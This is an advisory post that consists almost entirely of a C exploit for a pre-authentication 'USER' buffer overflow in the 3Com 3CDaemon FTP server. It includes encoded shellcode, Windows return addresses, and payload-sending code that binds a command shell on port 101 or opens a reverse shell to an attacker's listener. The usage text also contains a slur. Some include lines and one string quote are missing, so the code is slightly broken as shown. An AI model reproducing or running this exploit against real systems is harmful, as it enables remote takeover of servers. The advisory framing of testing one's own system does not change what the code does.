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3com 3CDaemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)
------------------------------------------------------------------------
SUMMARY
3Com FTP Server has been found to contain a remotely exploitable buffer
overflow in its parsing of the 'USER' command. The following exploit code
can be used to test your system for the mentioned vulnerability.
DETAILS
Exploit:
/*
3com 3CDaemon FTP Unauthorized "USER" Remote BOverflow
The particularity of this exploit is to exploits a FTP server
without the need of any authorization.
Homepage: www.3com.com
version: 3CDaemon v2.0 rev10
Link: ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip
Application Risk: Severely High
Internet Risk: Low
Hole History:
14-4-2002: BOF flaw found by skyrim
15-4-2002: crash exploit done. securiteam.com/exploits/5NP050A75A.html
04-1-2005: Updated advisory by Sowhat securitytracker.com/id?1012768
17-2-2005: exploit released milw0rm.com/id.php?id=825
18-2-2005: exploit released hat-squad.com, class101.org,
class101.hat-squad.com
Notes:
-4 bad bytes, 0x00, 0x25, 0x0D, 0x0A, badly interpreted by 3CDaemon
-Nice call ebx offset found.
Stable accross Win2k Pro&Srv, SP4's serie, POSIX.
Greet:
Nima Majidi
Behrang Fouladi
Pejman
Hat-Squad.com
class101.org
class101.hat-squad.com
*/
#include
#include
#include
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#endif
char scode1[]=
/*XORED*/
"\xEB\x26\x90\x00\x00\x00\x00\x00\x00\x02\x06\x6C\x59\x6C\x59"
"\xF8\x1D\x9C\xDE\x8C\xD1\x4C\x70\xD4\x03\x58\x46\x57\x53\x32"
"\x5F\x33\x32\x2E\x44\x4C\x4C\x01\xEB\x05\xE8\xF9\xFF\xFF\xFF"
"\x5D\x83\xED\x2C\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C\x8B\x70"
"\x1C\xAD\x8B\x78\x08\x8D\x5F\x3C\x8B\x1B\x01\xFB\x8B\x5B\x78"
"\x01\xFB\x8B\x4B\x1C\x01\xF9\x8B\x53\x24\x01\xFA\x53\x51\x52"
"\x8B\x5B\x20\x01\xFB\x31\xC9\x41\x31\xC0\x99\x8B\x34\x8B\x01"
"\xFE\xAC\x31\xC2\xD1\xE2\x84\xC0\x75\xF7\x0F\xB6\x45\x09\x8D"
"\x44\x45\x08\x66\x39\x10\x75\xE1\x66\x31\x10\x5A\x58\x5E\x56"
"\x50\x52\x2B\x4E\x10\x41\x0F\xB7\x0C\x4A\x8B\x04\x88\x01\xF8"
"\x0F\xB6\x4D\x09\x89\x44\x8D\xD8\xFE\x4D\x09\x75\xBE\xFE\x4D"
"\x08\x74\x17\xFE\x4D\x24\x8D\x5D\x1A\x53\xFF\xD0\x89\xC7\x6A"
"\x02\x58\x88\x45\x09\x80\x45\x79\x0C\xEB\x82\x50\x8B\x45\x04"
"\x35\x93\x93\x93\x93\x89\x45\x04\x66\x8B\x45\x02\x66\x35\x93"
"\x93\x66\x89\x45\x02\x58\x89\xCE\x31\xDB\x53\x53\x53\x53\x56"
"\x46\x56\xFF\xD0\x89\xC7\x55\x58\x66\x89\x30\x6A\x10\x55\x57"
"\xFF\x55\xE0\x8D\x45\x88\x50\xFF\x55\xE8\x55\x55\xFF\x55\xEC"
"\x8D\x44\x05\x0C\x94\x53\x68\x2E\x65\x78\x65\x68\x5C\x63\x6D"
"\x64\x94\x31\xD2\x8D\x45\xCC\x94\x57\x57\x57\x53\x53\xFE\xCA"
"\x01\xF2\x52\x94\x8D\x45\x78\x50\x8D\x45\x88\x50\xB1\x08\x53"
"\x53\x6A\x10\xFE\xCE\x52\x53\x53\x53\x55\xFF\x55\xF0\x6A\xFF"
"\xFF\x55\xE4";
char scode2[]=
/*XORED*/
\xD9\x74\x24\xF4\x5B\x31\xC9\xB1\x5E\x81\x73\x17\x0E\xB4"
"\x9F\x23\x83\xEB\xFC\xE2\xF4\xF2\x5C\xC9\x23\x0E\xB4\xCC\x76\x58"
"\xE3\x14\x4F\x2A\xAC\x14\x66\x32\x3F\xCB\x26\x76\xB5\x75\xA8\x44"
"\xAC\x14\x79\x2E\xB5\x74\xC0\x3C\xFD\x14\x17\x85\xB5\x71\x12\xF1"
"\x48\xAE\xE3\xA2\x8C\x7F\x57\x09\x75\x50\x2E\x0F\x73\x74\xD1\x35"
"\xC8\xBB\x37\x7B\x55\x14\x79\x2A\xB5\x74\x45\x85\xB8\xD4\xA8\x54"
"\xA8\x9E\xC8\x85\xB0\x14\x22\xE6\x5F\x9D\x12\xCE\xEB\xC1\x7E\x55"
"\x76\x97\x23\x50\xDE\xAF\x7A\x6A\x3F\x86\xA8\x55\xB8\x14\x78\x12"
"\x3F\x84\xA8\x55\xBC\xCC\x4B\x80\xFA\x91\xCF\xF1\x62\x16\xE4\x8F"
"\x58\x9F\x22\x0E\xB4\xC8\x75\x5D\x3D\x7A\xCB\x29\xB4\x9F\x23\x9E"
"\xB5\x9F\x23\xB8\xAD\x87\xC4\xAA\xAD\xEF\xCA\xEB\xFD\x19\x6A\xAA"
"\xAE\xEF\xE4\xAA\x19\xB1\xCA\xD7\xBD\x6A\x8E\xC5\x59\x63\x18\x59"
"\xE7\xAD\x7C\x3D\x86\x9F\x78\x83\xFF\xBF\x72\xF1\x63\x16\xFC\x87"
"\x77\x12\x56\x1A\xDE\x98\x7A\x5F\xE7\x60\x17\x81\x4B\xCA\x27\x57"
"\x3D\x9B\xAD\xEC\x46\xB4\x04\x5A\x4B\xA8\xDC\x5B\x84\xAE\xE3\x5E"
"\xE4\xCF\x73\x4E\xE4\xDF\x73\xF1\xE1\xB3\xAA\xC9\x85\x44\x70\x5D"
"\xDC\x9D\x23\x0E\xD1\x16\xC3\x64\xA4\xCF\x74\xF1\xE1\xBB\x70\x59"
"\x4B\xCA\x0B\x5D\xE0\xC8\xDC\x5B\x94\x16\xE4\x66\xF7\xD2\x67\x0E"
"\x3D\x7C\xA4\xF4\x85\x5F\xAE\x72\x90\x33\x49\x1B\xED\x6C\x88\x89"
"\x4E\x1C\xCF\x5A\x72\xDB\x07\x1E\xF0\xF9\xE4\x4A\x90\xA3\x22\x0F"
"\x3D\xE3\x07\x46\x3D\xE3\x07\x42\x3D\xE3\x07\x5E\x39\xDB\x07\x1E"
"\xE0\xCF\x72\x5F\xE5\xDE\x72\x47\xE5\xCE\x70\x5F\x4B\xEA\x23\x66"
"\xC6\x61\x90\x18\x4B\xCA\x27\xF1\x64\x16\xC5\xF1\xC1\x9F\x4B\xA3"
"\x6D\x9A\xED\xF1\xE1\x9B\xAA\xCD\xDE\x60\xDC\x38\x4B\x4C\xDC\x7B"
"\xB4\xF7\xD3\x84\xB0\xC0\xDC\x5B\xB0\xAE\xF8\x5D\x4B\x4F\x23";
char payload[1024];
char ebx[]="\x08\xB0\x01\x78";
char ebx2[]="\xB1\x2C\xC2\x77";
char pad[]="\xEB\x0C\x90\x90";
char EOL[]="\x0D\x0A";
#ifdef WIN32
WSADATA wsadata;
#endif
void ver();
void usage(char* us);
int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
char *target, *os;
if (argc > 6 || argc 2 || atoi (argv [1]) < 1) {usage (argv [0]); return
-1;}
if (argc == 5){usage (argv [0]); return -1;}
if (strlen (argv [2]) < 7){usage (argv [0]); return -1;}
if (argc == 6)
{
if (strlen (argv [4]) < 7){ usage (argv [0]); return -1;}
}
#ifndef WIN32
if (argc == 6)
{
gip = inet_addr (argv [4]) ^ (long) 0x93939393;
gport=htons (atoi (argv [5])) ^ (short) 0x9393;
}
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup (MAKEWORD (2, 0), &wsadata) != 0){ printf ("[+] wsastartup
error\n"); return -1;}
if (argc==6)
{
gip = inet_addr (argv [4]) ^ (ULONG) 0x93939393;
gport=htons (atoi (argv [5])) ^ (USHORT) 0x9393;
}
#endif
int ip= htonl (inet_addr (argv [2])), port;
if (argc == 4 || argc == 6) {port = atoi (argv [3]);} else port = 21;
SOCKET s; fd_set mask; struct timeval timeout; struct sockaddr_in server;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1) {printf ("[+] socket() error\n"); return -1;}
if (atoi (argv [1]) == 1) {target = ebx;os = "Win2k SP4 Server
English\n[+] Win2k SP4 Pro. English\n[+] Win2k SP4 Pro. Norsk\n[+] Win2k
SP4 Server German\n[+] Win2k SP4 Pro. Dutch\n[+] Etc...";}
if (atoi (argv [1]) == 2){target = ebx2; os = "WinXP SP2 Pro. English\n[+]
WinXP SP1a Pro. English\n[+] WinXP SP1 Pro. English";}
printf ("[+] target(s): %s\n", os);
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl (ip);
server.sin_port = htons (port);
connect (s, (struct sockaddr *) & server,sizeof (server));
timeout.tv_sec = 3; timeout.tv_usec = 0; FD_ZERO (&mask); FD_SET (s,
&mask);
switch (select (s+1, NULL, &mask, NULL, &timeout))
{
case -1: { printf ("[+] select() error\n"); closesocket(s); return -1;}
case 0: { printf("[+] connect() error\n"); closesocket(s); return -1;}
default:
if (FD_ISSET (s, &mask))
{
printf ("[+] connected, constructing the payload...\n");
#ifdef WIN32
Sleep (1000);
#else
Sleep (1);
#endif
strcpy (payload, "USER ");
memset (payload + 5, 0x90, 700);
memcpy (payload + 5 + 229, &pad, 4);
memcpy (payload + 238, target, 4);
if (argc == 6)
{
memcpy (&scode1 [5], &gip, 4);
memcpy(&scode1 [3], &gport, 2);
memcpy(payload + 253, scode1, sizeof (scode1));
}
else memcpy (payload + 253, scode2,sizeof (scode2));
strcat (payload, EOL);
if (send (s, payload, strlen (payload), 0) == -1) { printf("[+] sending
error 1, the server prolly rebooted.\n"); return -1;}
#ifdef WIN32
Sleep (2000);
#else
Sleep (2);
#endif
printf ("[+] size of payload: %d\n",strlen(payload));
printf ("[+] payload sent.\n");
return 0;
}
}
closesocket (s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
void usage(char* us)
{
printf ("USAGE:\n");
printf (" [+] . 101_3com.exe Target VulnIP (bind mode)\n");
printf (" [+] . 101_3com.exe Target VulnIP VulnPORT (bind mode)\n");
printf (" [+] . 101_3com.exe Target VulnIP VulnPORT GayIP GayPORT (reverse
mode)\n");
printf ("TARGET: \n");
printf (" [+] 1. Win2k SP4 Server English (*)\n");
printf (" [+] 1. Win2k SP4 Pro English (*)\n");
printf (" [+] 1. Win2k SP4 Server German (*)\n");
printf (" [+] 1. Win2k SP4 Pro China (*)\n");
printf (" [+] 1. Win2k SP4 Pro Dutch (*)\n");
printf (" [+] 1. Win2k SP4 Pro Norsk (*)\n");
printf (" [+] 2. WinXP SP2 Pro. English \n");
printf (" [+] 2. WinXP SP1a Pro. English (*)\n");
printf (" [+] 2. WinXP SP1 Pro. English \n");
printf ("NOTE: \n");
printf (" The exploit bind a cmdshell port 101 or\n");
printf (" reverse a cmdshell on your listener.\n");
printf (" A wildcard (*) mean tested working, else, supposed working.\n");
printf (" Compilation msvc6, cygwin, Linux.\n");
return;
}
void ver()
{
printf(" \n");
printf("
===================================================[0.1]=====\n");
printf(" ================3COM 3CDaemon v2.0 Revision
10===============\n");
printf(" ==============FTP Service, Remote Stack
Overflow=============\n");
printf(" ======coded by class101=============[Hat-Squad.com
2005]=====\n");
printf("
=============================================================\n");
printf(" \n");
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:class101@hat-squad.com>
class 101.
========================================
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